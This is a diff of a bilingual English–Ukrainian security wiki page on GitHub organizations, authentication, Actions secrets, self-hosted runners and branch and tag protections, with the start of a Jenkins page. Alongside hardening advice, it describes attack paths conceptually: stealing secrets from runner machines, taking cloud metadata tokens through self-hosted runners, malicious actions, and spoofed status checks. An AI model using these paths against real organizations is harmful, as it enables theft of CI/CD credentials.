- **Organization members**: **За замовчуванням**, неадміністративна роль для **осіб в organization** — organization member. За замовчуванням organization members **мають низку дозволів**.
|
||||
- **Billing managers**: Billing managers — користувачі, які можуть **керувати налаштуваннями білінгу для вашої organization**, наприклад платіжною інформацією.
|
||||
- **Security Managers**: Роль, яку organization owners можуть призначити будь-якій team в організації. При застосуванні вона дає кожному member цієї команди дозволи **керувати security alerts і налаштуваннями в межах organization, а також права на читання для всіх repositories** в організації.
|
||||
- Якщо у вашій організації є security team, ви можете використовувати роль security manager, щоб надати членам команди мінімально необхідний доступ до organization.
|
||||
- **Github App managers**: Щоб дозволити додатковим користувачам **керувати GitHub Apps, що належать organization**, owner може надати їм дозволи Github App manager.
|
||||
- **Outside collaborators**: Outside collaborator — це особа, яка має **доступ до одного або кількох repositories organization, але не є явно member** цієї organization.
|
||||
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
|
||||
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
|
||||
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
|
||||
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
|
||||
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
|
||||
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
|
||||
Ви можете **порівняти дозволи** цих ролей у цій таблиці: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
|
||||
В _https://github.com/organizations/\<org_name>/settings/member_privileges_ ви можете побачити **дозволи, які користувачі матимуть просто за те, що є частиною organization**.
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
|
||||
|
||||
Налаштування тут вкажуть на такі дозволи членів organization:
|
||||
The settings here configured will indicate the following permissions of members of the organisation:
|
||||
|
||||
- Мати admin, writer, reader або відсутність доступу до всіх repository організації.
|
||||
- Чи можуть members створювати private, internal або public repositories.
|
||||
- Чи можливе форкування repositories.
|
||||
- Чи можливо запрошувати outside collaborators.
|
||||
- Чи можуть публікуватися public або private sites.
|
||||
- Дозволи, які мають admins над repositories.
|
||||
- Чи можуть members створювати нові teams.
|
||||
- Be admin, writer, reader or no permission over all the organisation repos.
|
||||
- If members can create private, internal or public repositories.
|
||||
- If forking of repositories is possible
|
||||
- If it's possible to invite outside collaborators
|
||||
- If public or private sites can be published
|
||||
- The permissions admins has over the repositories
|
||||
- If members can create new teams
|
||||
|
||||
### Repository Roles
|
||||
|
||||
За замовчуванням створюються такі repository roles:
|
||||
By default repository roles are created:
|
||||
|
||||
- **Read**: Рекомендовано для **не-кодових контрибуторів**, які хочуть переглядати або обговорювати проект.
|
||||
- **Triage**: Рекомендовано для **контрибуторів, які повинні проактивно керувати issues та pull requests** без доступу на запис.
|
||||
- **Write**: Рекомендовано для контрибуторів, які **активно пушать у ваш проект**.
|
||||
- **Maintain**: Рекомендовано для **менеджерів проєкту, яким потрібно керувати repository** без доступу до чутливих або деструктивних дій.
|
||||
- **Admin**: Рекомендовано для людей, яким потрібен **повний доступ до проекту**, включаючи чутливі та деструктивні дії, як-от керування безпекою або видалення repository.
|
||||
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
|
||||
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
|
||||
- **Write**: Recommended for contributors who **actively push to your project**
|
||||
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
|
||||
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
|
||||
|
||||
Ви можете **порівняти дозволи** кожної ролі в цій таблиці [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
Ви також можете **створювати власні ролі** в _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
|
||||
Ви можете **перелічити teams, створені в organization**, в _https://github.com/orgs/\<org_name>/teams_. Зауважте, щоб побачити teams, які є дочірніми для інших teams, потрібно перейти до кожної parent team.
|
||||
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
|
||||
|
||||
### Users
|
||||
|
||||
Користувачів organization можна **переглянути** в _https://github.com/orgs/\<org_name>/people._
|
||||
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
В інформації про кожного користувача можна побачити **teams, частиною яких є користувач**, і **repos, до яких користувач має доступ**.
|
||||
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
|
||||
|
||||
## Github Authentication
|
||||
|
||||
Github пропонує різні способи автентифікації у вашому акаунті та виконання дій від вашого імені.
|
||||
Github offers different ways to authenticate to your account and perform actions on your behalf.
|
||||
|
||||
### Web Access
|
||||
|
||||
Заходячи на **github.com**, ви можете увійти, використовуючи свій **username і password** (а також потенційно **2FA**).
|
||||
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
Ви можете налаштувати свій акаунт із одним або кількома public keys, що дозволяють відповідному **private key виконувати дії від вашого імені.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
Ви **не можете видати себе за користувача за допомогою цих ключів**, але якщо ви не використовуєте їх, можливо, вас **виявлять за надсилання комітів без підпису**. Детальніше про vigilant mode тут: https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode.
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
Ви можете генерувати personal access token, щоб **надати додатку доступ до вашого акаунту**. Створюючи personal access token, **user** повинен **вказати** **дозволи**, які **token** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Oauth applications можуть просити вас про дозволи **для доступу до частини вашої github інформації або для імітації вас** з метою виконання певних дій. Типовий приклад — кнопка **login with github**, яку ви можете зустріти на деяких платформах.
|
||||
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
|
||||
|
||||
- Ви можете **створити** власні **Oauth applications** на [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Ви можете побачити всі **Oauth applications, що мають доступ до вашого акаунту** на [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Ви можете побачити **scopes, які Oauth Apps можуть запитувати** на [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Ви можете побачити доступ сторонніх додатків у **organization** за адресою _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Деякі **рекомендації з безпеки**:
|
||||
Some **security recommendations**:
|
||||
|
||||
- **OAuth App** завжди має **діяти як автентифікований GitHub user по всьому GitHub** (наприклад, при надсиланні користувацьких повідомлень) і мати доступ лише до вказаних scope.
|
||||
- OAuth App може використовуватися як провайдер ідентичності, дозволивши "Login with GitHub" для автентифікованого користувача.
|
||||
- **Не** створюйте **OAuth App**, якщо хочете, щоб ваш додаток діяв лише над **одним repository**. З `repo` OAuth scope, OAuth Apps можуть **діяти на _всіх_** репозиторіях автентифікованого користувача.
|
||||
- **Не** створюйте OAuth App, щоб діяти як додаток для вашої **команди чи компанії**. OAuth Apps автентифікуються як **один user**, тому якщо одна людина створить OAuth App для компанії, а потім покине її, ніхто інший не матиме доступу.
|
||||
- **Детальніше** тут: https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps.
|
||||
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
|
||||
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
|
||||
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
|
||||
Github applications можуть просити дозволи **для доступу до вашої github інформації або імітації вас** з метою виконання конкретних дій над певними ресурсами. У Github Apps потрібно вказати repositories, до яких додаток матиме доступ.
|
||||
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
|
||||
|
||||
- Щоб встановити GitHub App, ви повинні бути **organisation owner або мати admin permissions** в repository.
|
||||
- GitHub App має **підключатися до персонального акаунту або organization**.
|
||||
- Ви можете створити власну Github application на [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Ви можете побачити всі **Github applications, що мають доступ до вашого акаунту** на [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Ось **API Endpoints для Github Applications**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Залежно від дозволів додатка він зможе доступатися до деяких з них.
|
||||
- Ви можете побачити встановлені apps в **organization** в _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
|
||||
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Деякі рекомендації з безпеки:
|
||||
Some security recommendations:
|
||||
|
||||
- GitHub App повинен **виконувати дії незалежно від користувача** (якщо додаток не використовує [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Щоб зробити user-to-server access tokens більш безпечними, можна використовувати access tokens, що **закінчуються через 8 годин**, та refresh token, який можна обміняти на новий access token. Для додаткової інформації див. "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Переконайтеся, що GitHub App інтегровано з **конкретними repositories**.
|
||||
- GitHub App повинен **підключатися до персонального акаунту або organization**.
|
||||
- Не очікуйте, що GitHub App знає та робить усе, що може user.
|
||||
- **Не використовуйте GitHub App лише заради сервісу "Login with GitHub"**. Проте GitHub App може використовувати [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) для входу користувачів _та_ виконання інших дій.
|
||||
- Не створюйте GitHub App, якщо ви _лише_ хочете діяти як GitHub user і робити все, що цей user може робити.
|
||||
- Якщо ви використовуєте свій додаток з GitHub Actions і хочете змінювати workflow файли, ви мусите аутентифікуватися від імені користувача з OAuth token, який включає `workflow` scope. Користувач має мати admin або write permission до repository, що містить workflow файл. Для додаткової інформації див. "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Детальніше** тут: https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps.
|
||||
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Make sure the GitHub App integrates with **specific repositories**.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- Don't expect the GitHub App to know and do everything a user can.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
|
||||
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
|
||||
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
Це **не спосіб автентифікації в github**, але **зловмисна** Github Action може отримати **неавторизований доступ до github** і, **в залежності** від **наданих Action привілеїв**, можна здійснити кілька **різних атак**. Див. нижче для додаткової інформації.
|
||||
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions дозволяють автоматизувати **виконання коду при виникненні події**. Зазвичай код, що виконується, якимось чином пов'язаний з кодом repository (наприклад, збірка docker контейнера або перевірка, що PR не містить секретів).
|
||||
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
|
||||
|
||||
### Configuration
|
||||
|
||||
В _https://github.com/organizations/\<org_name>/settings/actions_ можна перевірити **конфігурацію github actions** для organization.
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
|
||||
|
||||
Можна заборонити використання github actions повністю, **дозволити всі github actions**, або дозволити лише певні actions.
|
||||
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
|
||||
|
||||
Також можна налаштувати, **хто потребує схвалення для запуску Github Action**, та **дозволи GITHUB_TOKEN** для Github Action під час його виконання.
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action зазвичай потребують певних секретів для взаємодії з github або сторонніми додатками. Щоб **уникнути зберігання їх у відкритому вигляді** в repo, github дозволяє зберігати їх як **Secrets**.
|
||||
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
|
||||
|
||||
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
|
||||
|
||||
Ці секрети можна налаштувати **для repo або для всієї organization**. Потім, щоб **Action мав доступ до секрету**, потрібно оголосити його як:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
#### Приклад використання Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Secrets **можна отримати лише з Github Actions**, в яких вони оголошені.
|
||||
>
|
||||
> Після налаштування в repo або organizations **користувачі github більше не зможуть отримати до них доступ**, вони зможуть лише **змінювати їх**.
|
||||
>
|
||||
> Тому **єдиний спосіб викрасти github secrets — отримати доступ до машини, яка виконує Github Action** (в такому випадку ви зможете отримати доступ лише до secrets, оголошених для цієї Action).
|
||||
> Secrets **can only be accessed from the Github Actions** that have them declared.
|
||||
|
||||
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
|
||||
|
||||
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github дозволяє створювати **environments**, де ви можете зберігати **secrets**. Потім ви можете надати github action доступ до secrets у цьому environment наступним чином:
|
||||
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
Ви можете налаштувати environment так, щоб він був доступний для **усіх гілок** (за замовчуванням), **тільки для захищених** гілок або **вказати**, які гілки можуть отримувати до нього доступ.\
|
||||
Додатково, захист environment включає:
|
||||
- **Required reviewers**: блокувати jobs, що націлені на environment, поки вони не будуть затверджені. Увімкніть **Prevent self-review**, щоб забезпечити справжній принцип «чотирьох очей» під час самої затвердження.
|
||||
- **Deployment branches and tags**: обмежувати, які гілки/теги можуть деплоїтись до environment. Краще вибирати конкретні гілки/теги і переконатись, що ці гілки захищені. Примітка: опція "Protected branches only" застосовується до класичних branch protections і може поводитись неочікувано при використанні rulesets.
|
||||
- **Wait timer**: відкладати деплой на конфігурований період.
|
||||
|
||||
Там також можна вказати **кількість необхідних рев’ю** перед **виконанням** **action**, що використовує environment, або **чекати** деякий **час** перед тим, як дозволити продовження деплоїв.
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
Additionally, environment protections include:
|
||||
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
|
||||
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
|
||||
- **Wait timer**: delay deployments for a configurable period.
|
||||
|
||||
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
|
||||
### Git Action Runner
|
||||
|
||||
GitHub Action можна **виконувати всередині github environment** або виконувати у **інфраструктурі третьої сторони**, налаштованій користувачем.
|
||||
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
|
||||
|
||||
Декілька організацій дозволяють запускати GitHub Actions у **інфраструктурі третьої сторони**, оскільки це зазвичай **дешевше**.
|
||||
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
|
||||
|
||||
Ви можете **переглянути self-hosted runners** організації за адресою _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
Спосіб знайти, які **GitHub Actions виконуються у не-github інфраструктурі** — шукати `runs-on: self-hosted` у конфігураційному yaml для GitHub Action.
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
|
||||
|
||||
Неможливо запустити GitHub Action організації всередині self hosted машини іншої організації, тому що **при конфігурації Runner генерується унікальний токен**, який вказує, до якої організації належить runner.
|
||||
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
|
||||
|
||||
Якщо кастомний **GitHub Runner налаштований на машині всередині AWS або GCP**, наприклад, Action **може мати доступ до metadata endpoint** і **вкрасти токен сервісного облікового запису**, під яким запущена машина.
|
||||
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
Якщо всім actions (або одному зловмисному action) дозволено виконання, користувач може використати **GitHub action**, який є **зловмисним**, і він **компрометує** **контейнер**, в якому виконується.
|
||||
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
|
||||
|
||||
> [!CAUTION]
|
||||
> A **malicious Github Action** run could be **abused** by the attacker to:
|
||||
@@ -217,41 +223,41 @@ GitHub Action можна **виконувати всередині github enviro
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Branch protections призначені, щоб **не давати користувачам повний контроль над репозиторієм**. Мета — **поставити кілька методів захисту перед тим, як можна буде записувати код у певну гілку**.
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
|
||||
**Branch protections репозиторію** можна знайти за адресою _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> Неможливо встановити branch protection на рівні організації. Тому всі їх треба оголошувати у кожному репозиторії окремо.
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
|
||||
До гілки (наприклад master) можна застосувати різні захисти:
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- Можна **вимагати PR перед merge** (щоб ви не могли безпосередньо мержити код у гілку). Якщо це вибрано, можуть бути активні й інші захисти:
|
||||
- **Вимагати певну кількість approvals**. Дуже часто вимагають 1 або 2 додаткових людей для approve PR, щоб один користувач не міг самостійно змінити код.
|
||||
- **Dismiss approvals when new commits are pushed**. Якщо цього не зробити, користувач може approve легітимний код, а потім додати зловмисний код і змержити його.
|
||||
- **Require approval of the most recent reviewable push**. Забезпечує, що будь-які нові коміти після approval (включно з пушами інших співпрацівників) ініціюють повторне рев’ю, тож атакер не зможе додати зміни після затвердження і змержити.
|
||||
- **Require reviews from Code Owners**. Потрібне принаймні 1 схвалення від code owner репозиторію (щоб "випадкові" користувачі не могли його approve).
|
||||
- **Restrict who can dismiss pull request reviews.** Можна вказати людей або команди, яким дозволено скасовувати рев’ю PR.
|
||||
- **Allow specified actors to bypass pull request requirements**. Ці користувачі зможуть обходити попередні обмеження.
|
||||
- **Require status checks to pass before merging.** Деякі перевірки повинні пройти перед тим, як можна буде змержити коміт (наприклад GitHub App, що звітує результати SAST). Порада: прив’язуйте required checks до конкретного GitHub App; інакше будь-який додаток може підробити перевірку через Checks API, і багато ботів приймають директиви пропуску (наприклад "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. Всі коментарі в коді мають бути вирішені перед merge PR.
|
||||
- **Require signed commits**. Коміти мають бути підписані.
|
||||
- **Require linear history.** Запобігає пушу merge commits у відповідні гілки.
|
||||
- **Include administrators**. Якщо це не встановлено, адміністратори можуть обходити обмеження.
|
||||
- **Restrict who can push to matching branches**. Обмежує, хто може робити push у відповідні гілки.
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
|
||||
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
|
||||
- **Restrict who can push to matching branches**. Restrict who can send a PR.
|
||||
|
||||
> [!NOTE]
|
||||
> Як бачите, навіть якщо вам вдалось отримати облікові дані користувача, **репозиторії можуть бути захищені й завадити вам запушити код у master**, наприклад, щоб скомпрометувати CI/CD.
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
|
||||
## Tag Protections
|
||||
|
||||
Теги (наприклад latest, stable) за замовчуванням змінювані. Щоб забезпечити процес «чотирьох очей» при оновленнях тегів, захищайте теги і побудуйте ланцюг захистів через environments і гілки:
|
||||
Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
|
||||
|
||||
1) У правилі захисту тега увімкніть **Require deployments to succeed** і вимагайте успішного деплою у захищене environment (наприклад prod).
|
||||
2) У цільовому environment обмежте **Deployment branches and tags** до релізної гілки (наприклад main) і за бажанням налаштуйте **Required reviewers** з **Prevent self-review**.
|
||||
3) У релізній гілці налаштуйте branch protections, щоб **Require a pull request**, встановіть approvals ≥ 1, і увімкніть як **Dismiss approvals when new commits are pushed**, так і **Require approval of the most recent reviewable push**.
|
||||
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
|
||||
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
|
||||
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
|
||||
|
||||
Цей ланцюг запобігає тому, щоб один співпрацівник переклеїв тег або примусово опублікував реліз, редагуючи workflow YAML, оскільки gates деплою контролюються поза workflows.
|
||||
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
|
||||
|
||||
## References
|
||||
|
||||
@@ -267,3 +273,5 @@ Branch protections призначені, щоб **не давати корист
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,32 +1,36 @@
|
||||
# Безпека Jenkins
|
||||
# Jenkins Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Базова інформація
|
||||
## Basic Information
|
||||
|
||||
